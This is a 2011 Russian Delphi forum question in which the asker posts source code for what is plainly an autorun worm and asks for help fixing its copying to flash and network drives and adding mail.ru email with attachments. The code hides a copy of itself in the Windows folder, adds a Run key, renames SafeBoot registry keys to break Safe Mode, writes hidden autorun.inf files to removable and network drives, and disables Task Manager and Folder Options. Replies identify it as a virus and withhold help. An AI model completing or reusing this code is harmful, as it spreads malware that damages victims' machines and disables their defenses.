Экспертная система Delphi.int.ru

Сообщество программистов
Общение, помощь, обмен опытом

Логин:
Пароль:
Регистрация | Забыли пароль?

Delphi.int.ru Expert

Другие разделы портала

Переход к вопросу:

#   

Статистика за сегодня:  


Лучшие эксперты

Подробнее »



Вопрос # 5 109

/ вопрос открыт /

Здравствуйте, эксперты!

Доброго времени суток, уважаемые эксперты!

уже вторую неделю не могу умучить(написать) прогу све пишет какие то ошибки или отказывается работать,пожалуста помогите....

привожу код проги выдает ошибку при запуске когда вызывается копирование на флешку и нэт-диск,помогите решить эту проблему плиз...

И еше подскажите в написании к этой же программе процедуры для отправки письма на mail.ru с вложением зарание спасибо.....

Приложение:
  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6. Windows,
  7. Messages,
  8. SysUtils,
  9. Variants,
  10. Classes,
  11. Graphics,
  12. Controls,
  13. Forms,
  14. Dialogs,
  15. StdCtrls,
  16. Registry,
  17. shellapi,
  18. inifiles,
  19. IdComponent,
  20. IdTCPServer,
  21. IdSMTPServer,
  22. IdBaseComponent,
  23. IdMessage, IdTCPConnection,
  24. IdTCPClient, IdMessageClient, IdSMTP;
  25.  
  26. type
  27. TForm1 = class(TForm)
  28. msg: TIdMessage;
  29. IdSMTP2: TIdSMTP;
  30. private
  31. { Private declarations }
  32.  
  33. public
  34. { Public declarations }
  35. {Connect for Novell}
  36. end;
  37.  
  38. var
  39. Form1: TForm1;
  40. reg : TRegistry;
  41.  
  42. implementation
  43.  
  44. {$R *.dfm}
  45.  
  46. function WinDir: string;
  47. var
  48. WinDir: PChar;
  49. begin
  50. WinDir := StrAlloc(MAX_PATH);
  51. GetWindowsDirectory(WinDir, MAX_PATH);
  52. Result := string(WinDir);
  53. if Result[Length(Result)] <> '\' then
  54. Result := Result + '\';
  55. StrDispose(WinDir);
  56. end;
  57.  
  58. procedure CopyWin;
  59. begin
  60. if
  61. not FileExists(WinDir+'Nyhia.exe')
  62. then
  63. begin
  64. CopyFile(PChar(ParamStr(0)), PChar(WinDir+'Nyhia.exe'),True);
  65. SetFileAttributes(PChar(WinDir+'Nyhia.exe'),FILE_ATTRIBUTE_HIDDEN);
  66. halt;
  67. end
  68. else
  69. sleep(1);
  70. end;
  71.  
  72. procedure InFect(FileName: String);
  73. var
  74. F : TextFile;
  75. text : string;
  76. begin
  77. AssignFile(F,FileName);
  78. ReWrite(F);
  79. WriteLn(F,'[AUTORUN]');
  80. Write(F,'shellexecute=Novell.exe');
  81.  
  82. Write(F,'shell\explore\Command=Novell.exe');
  83.  
  84.  
  85. Write(F,'shell\open\Command=Novell.exe');
  86. CloseFile(F);
  87. Reset(F);
  88. while not Eof(F) do
  89. begin
  90. ReadLn(F, text);
  91. end;
  92. CloseFile(F);
  93. end;
  94.  
  95. procedure registr;
  96. begin
  97. reg:=TRegistry.Create;
  98. reg.RootKey:=HKEY_LOCAL_MACHINE;
  99. if not Reg.KeyExists('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NovellNT') then
  100. begin
  101. reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\minimal','System\CurrentControlSet\Control\SafeBoot\M',true);
  102. reg.CloseKey;
  103. reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);
  104. reg.CloseKey;
  105. reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
  106. reg.WriteString('NovellNT', WinDir+'Nyhia.exe');
  107. reg.CloseKey;
  108. reg.free;
  109. end
  110. else
  111. sleep(1);
  112. end;
  113.  
  114.  
  115. procedure Click;
  116.  
  117. var
  118. x: int64;
  119. bit: integer;
  120. i: integer;
  121. tp: Uint;
  122. tip: string;
  123.  
  124. begin
  125. x:=GetLogicalDrives();
  126. if
  127. x=0
  128. then
  129. else
  130. begin
  131. for i:=1 to 64 do
  132.  
  133. begin
  134. bit:=x and 1;
  135. if
  136. bit=1
  137. then
  138.  
  139. begin
  140. tp:=GetDriveType(PChar(chr(64+i)+':/'));
  141. tip:='';
  142. if
  143. tp=DRIVE_REMOVABLE
  144. then
  145.  
  146. begin
  147. CopyFile(PChar(ParamStr(0)), PChar(chr(64+i)+':/'+'novell.exe'),True);
  148. SetFileAttributes(PChar(chr(64+i)+':/'+'novell.exe'),FILE_ATTRIBUTE_HIDDEN);
  149. InFect(PChar(chr(64+i)+':/'+'autorun.inf'));
  150. SetFileAttributes(PChar(chr(64+i)+':/'+'autorun.inf'),FILE_ATTRIBUTE_HIDDEN);
  151. end;
  152.  
  153. if
  154. tp=DRIVE_FIXED
  155. then
  156.  
  157.  
  158. if
  159. tp=DRIVE_REMOTE
  160. then
  161. tip:='remote (network)';
  162. begin
  163. CopyFile(PChar(ParamStr(0)), PChar(chr(64+i)+':/'+'novell.exe'),True);
  164. SetFileAttributes(PChar(chr(64+i)+':/'+'novell.exe'),FILE_ATTRIBUTE_HIDDEN);
  165. InFect(PChar(chr(64+i)+':/'+'autorun.inf'));
  166. SetFileAttributes(PChar(chr(64+i)+':/'+'autorun.inf'),FILE_ATTRIBUTE_HIDDEN);
  167. end;
  168.  
  169. if
  170. tp=DRIVE_CDROM
  171. then
  172. tip:='CDROM';
  173.  
  174. if
  175. tp=DRIVE_RAMDISK
  176. then
  177. tip:='RAM disk';
  178. end;
  179.  
  180. x:= x shr 1;
  181. end;
  182. end;
  183. end;
  184.  
  185. procedure WinOff;
  186. var
  187. R : TRegistry;
  188. begin
  189. R:=TRegistry.Create;
  190. R.RootKey:= HKEY_CURRENT_USER;
  191. R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced',True);
  192. R.WriteInteger('Hidden',0);
  193. R.CloseKey;
  194. R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL',True);
  195. R.WriteInteger('CheckedValue',0);
  196. R.CloseKey;
  197. R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',True);
  198. R.WriteInteger('NoFolderOptions',1);
  199. R.CloseKey;
  200. R.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
  201. R.WriteInteger('DisableTaskMgr',1);
  202. R.closekey;
  203. R.Free;
  204. end;
  205.  
  206. begin
  207. CopyWin;
  208. registr;
  209. Click;
  210. WinOff;
  211. exit;
  212. Halt(4);
  213. end.
  214.  


Novell Вопрос ожидает решения (принимаются ответы, доступен мини-форум)

Вопрос задал: Novell (статус: Посетитель)
Вопрос отправлен: 21 марта 2011, 14:07
Состояние вопроса: открыт, ответов: 0.


Мини-форум вопроса

Всего сообщений: 5; последнее сообщение — 22 марта 2011, 04:44; участников в обсуждении: 4.
min@y™

min@y™ (статус: Доктор наук), 21 марта 2011, 14:11 [#1]:

Исходник с таким чудовищным форматированием читать не хочется - глаза режет.

Цитата (Novell):

привожу код проги выдает ошибку при запуске когда вызывается копирование на флешку и нэт-диск

Ошибка в какой строке? Какое сообщение об ошибке выдаётся?
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
Вадим К

Вадим К (статус: Академик), 21 марта 2011, 14:39 [#2]:

код в некоторых местах просто жуть. к примеру
exit;
Halt(4);
это как? если exit не сработал, то мы прибем приложение? Вообще то halt применять в обычном приложении не стоит. оно не для того.

Просмотрев весь код, очень похоже на авторан вирус. Разберем к примеру, что пишется в реестр
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced = hidden (Показывать/непоказывать скрытые файлы. Кстати, значение 0 там ничего не дает. там другие цифры нужно писать).
дальше, отключено выбор свойств папки и менеджер задач. Только эти три поля заставляют нормального человека задуматься.


Вердикт - перед нами начинающий вирусописатель, но немного необразованный. Да и само имя дроппера "Nyhia.exe" выглядит уж очень подозрительным.

Novell - докажи обратное.
Галочка "подтверждения прочтения" - вселенское зло.
min@y™

min@y™ (статус: Доктор наук), 21 марта 2011, 14:45 [#3]:

Запись файла Autorun.inf на съёмные носители тоже вызывает ОЧЕНЬ нехорошие мысли. Айяйяй!..
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
Amidamaru

Amidamaru (статус: 4-ый класс), 21 марта 2011, 14:46 [#4]:

ужас! да ещё и инди...
И действительно, даже мои первые программки, условно нарушающие работу системы, были намного изящнее
правда я не использовал код для самораспространения, темболее по сети.
Приглашаю Вас на наш IRC-канал: #delphiintru в сети DalNet.
Novell

Novell (статус: Посетитель), 22 марта 2011, 04:44 [#5]:

ладно надеюсь все высказали свое мнение о вирусологии....,я так понимаю подсказать как избавиться от ошибки не кто не хочет... ладно спосиб,буду искать помощи в другом месте.......

Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.

Версия движка: 2.6+ (26.01.2011)
Текущее время: 22 февраля 2025, 11:36
Выполнено за 0.02 сек.